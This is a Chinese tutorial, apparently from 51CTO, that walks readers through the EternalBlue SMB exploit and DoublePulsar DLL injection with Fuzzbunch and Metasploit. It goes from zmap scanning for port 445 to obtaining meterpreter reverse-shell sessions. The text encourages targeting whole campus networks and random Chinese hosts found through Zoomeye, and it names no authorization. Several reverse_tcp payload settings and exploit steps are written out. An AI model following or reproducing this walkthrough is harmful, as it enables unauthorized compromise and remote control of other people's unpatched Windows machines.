安装 MSF
Linux & Mac OS X
如果遇到问题,点开这个链接,然后自己想想办法……
查看是否安装成功
然后输入 msfconsole 看看安装是不是成功了……
这样的话就算成功了。
安装 WINE 和 winetricks
Linux
OSX
安装 Windows Python 环境
跟着 wizard 走完就行了……一路下一步。
复制工具包到 Windows 分区
默认 WINE 环境的虚拟磁盘在 ~/.wine/drive_c
把那个工具包里的 windows 文件夹改个名字,复制到这里去……
比如改名叫 tools,复制到 ~/.wine/drive_c/tools。
进入 Win CMD
如果这一步出现什么 wrong font 错误,可以试试安装 fonts-wine 包,或者用 winetricks --gui,选择默认 WINE ,安装字体,勾上 corefont。
没错的话会出现一个黑框框,就是 CMD 了,先 右键 - properties - font 调整一下字体什么的,注意确定保存的时候选第一个单选框……调到你觉得好看的字体为止。然后:
试一下 Win 上的 Python 有没有安装好,如果没问题就 Ctrl-D 退出。
修改 fuzzbunch 默认配置
到 ~/.wine/drive_c/tools 这里,用文本编辑器打开 fuzzbunch.xml。
修改 ResourcesDir 为 C:\tools\Resources,LogDir 为 C:\logs。
运行 fuzzbunch
再次打开 CMD,cd 到 Python 目录,然后执行:
如果出现这样的话环境就算是配置好了:
然后可以暂时退出了。
查看网络环境
本机上执行:
找到自己正在使用的网络,记下 IP 和 子网掩码。
安装 Zmap
Zmap 是一个快速的网络扫描器,反正就是收集信息用的。
Linux
OSX
安装好了之后 sudo zmap --version 测试一下。
扫描子网
根据你上一步得到的 IP 和子网掩码,扫描网络。
假如你的 IP 是 10.128.129.45 子网掩码 255.255.192.0,把子网掩码按照下表换成数字,然后加起来。
所以 255.255.192.0 = 8 + 8 + 2 = 18。要扫描的 CIDR 就是 10.128.129.45/18
然后运行:
-B 选项后面的是扫描速度,根据你们的内网带宽找一个合适的速度填就行。比如我们内网 100M,我就用一半的速度扫。
如果遇到 blacklist 的错误,可以去修改 /etc/zmap/blacklist.conf 这个文件,把需要扫描的内网地址注释掉:
如果遇到 interface 什么的错误,就用 -i
如果遇到 get-gateway 的错误,就先运行 netstat -nr 得到网关的 IP,然后运行 sudo arp -a <网关IP> 获取他的 MAC 地址:见下图:
获取到网关 MAC 之后,用 -G 参数写在命令行里即可。
OK,开始扫描吧,这时候等着就行了。
扫描完成之后 cat 445.csv 就可以看到所有开了 445 的机器了。
如果你扫描出来文件是空的的话……那说明你的网段可能太小了。
如果你是学生,可以考虑扫描一下全校网段,一般用 10.0.0.1/8 扫描的话应该会能得到一些结果的。
如果还是不行,那就用备选方案吧……
备选方案 - Zoomeye
如果你子网扫描出来的文件是个空的的话,你也可以选择扫描互联网上的机器。
当然这时候我们就不自己用 zmap 扫了,Zoomeye 可以帮助我们。
打开:https://www.zoomeye.org/
搜索框右边的选项选主机,输入 service:microsoft-ds os:windows country:china Enter 搜索。
也可以加一个参数 city:beijing 来搜索特定城市的主机。
然后随便选几个 IP 写到 445.csv 里去吧,一行一个 IP 就行。
漏洞检测
现在用 msfconsole 打开 MSF,输入 use auxiliary/scanner/smb/smb_version 注意从现在开始就不要复制命令了,最好都手打,要习惯用 Tab 补全。
前面的 msf 提示符变成 msf auxiliary(smb_version) > 就表示进入这个扫描器的上下文了。
输入 options 查看可用的选项:
RHOSTS 表示要扫描额主机列表,THREADS 表示扫描线程数,一般填个 50 什么的就差不多了。如果你 RHOST 数量比小于 50 的话,你也可以填少一点。
用 set 命令设置选项:
输入完后再用 options 查看一下选项,确认没问题之后输入 exploit,回车开始执行 scanner.
执行过程中应该会有很多信息输出出来,等他运行完,输入 hosts 查看当前获得的主机资料:
OK,一个 Win10 一个 Win7 一个 WinServer 2008 R2。
Win 7 以上的可以不用考虑了,Win 7 和 WinServer 2008 一般来说是可以的。
如果你不放心,可以使用 auxiliary/scanner/smb/smb_ms17_010 这个扫描器做一次漏洞检测。这个就不说详细步骤了,当作练习吧,结果大概是这样的:
嗯,他说 Likely 嘛,一般来说 还是选 Win 7 和 Server 2008 以下的主机当作目标吧。
OK 我现在就选那台 Win 7 的 10.158.24.2 了,后面的操作都会用这个 IP,你记得换成你自己的目标哈。
Fuzzbunch 出场
用之前的命令启动 WINE CMD,用 Python 打开 fuzzbunch:
看见 fb > 字样的提示符就表示初始设置完成。
Eternalblue 攻击
Fuzzbunch 的使用方法和 MSF 其实差不多。
输入 use Eternalblue 载入攻击模块,同样注意多使用 Tab 键。
和 MSF 不一样,FB 会进行交互性的参数输入:
如果上面的参数(主要是 IP)没错的话,也可以输入 no 来取消交互式输入。
然后来到这一步,攻击方式一定要选 1 FB 方式:
然后继续跟着交互提示走,Tunnels 部分直接一路回车,开始执行后门安装:
如果到 Receiving response from exploit packet 这句话这里停住的话,大概率是打了补丁,你可以换个目标了。
如果是停在 Triggering free of corrupted buffer 这句的话,基本就成功了,等着就好。
OK,等了一会之后,Eternalblue 攻击成功。
注意观察一下这里写的目标机器的 Arch 是 32 bit 还是 64 bit,后面要用。
TCP 隧道
这一步需要你有公网 IP,如果你没有的话可以用 TCP 隧道服务来代替……比如各种基于 Ngrok 的隧道服务……
这里我就不教程了……你们自己弄好就行
我现在假设你们隧道服务商 IP 是 123.123.123.123,给你的端口是 8888,你本地的端口也开 8888,下面一步操作的时候记得把这些数字换成真实的。
提示
如果你是扫描校内网,而且校内网没有对机器互联端口做限制的话,不用 TCP 隧道也是可以的,那你就把下面教程里的所有 LHOST 填你自己的网卡 IP 即可。
MSF 监听反弹端口
在 MSF 里,使用 multi/handler。
如果你要攻击的机器是 32 位的机器:
set payload windows/meterpreter/reverse_tcp
如果是 64 位的:
set payload windows/x64/meterpreter/reverse_tcp
然后
LHOST 就填 127.0.0.1 就可以,因为上面我们用了隧道。
最后一个 -j 是将 exploit 放在后台运行,暂时可以不用管了。
你可以通过 jobs -l 看到所有后台任务。
生成 Shellcode DLL
在 MSF 里执行
上面的 {Payload} 换成你上个阶段用的 payload,然后 HOST 和 PORT 也要记得换,{ARCH} 如果是 32 位就写 x8664 位就写 x64。
你也可以分别生成两个 DLL 备用,反正以后攻击到的 32 位 64 位都有可能。
然后把这两个 DLL 复制到 ~/.wine/drive_c 目录下
双倍脉冲(Doublepulsar)注入
切换到 Wine CMD 里的 FB 平台,使用 Doublepulsar
然后就按照提示一路 Enter,Proto 选 SMB,x86 还是 x64 根据目标机器选。
这一步选 2,RunDLL。
DLL 位置选根据你的文件名填,比如 C:\x86.dll 或者 C:\x64.dll,然后继续 Enter。
当你看到这个 Success 的时候,表示注入成功。
DONE
现在切回你的 MSF 看看是不是有些 sending stage 之类的输出。
如果没有的话就把 DLL 的生成检查一遍看看参数有没有写对,然后再执行一遍上一步。
如果有输出的就输入 sessions -l 查看已经连接好的 meterpreter。
然后用 sessions -i
OK 了!后面的我就不教了,你可以输入 help 然后 Tab 看看有哪些命令。然后
然后 https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/ 这里有一些基本的后渗透命令的解释。
作者:7sDream
来源:51CTO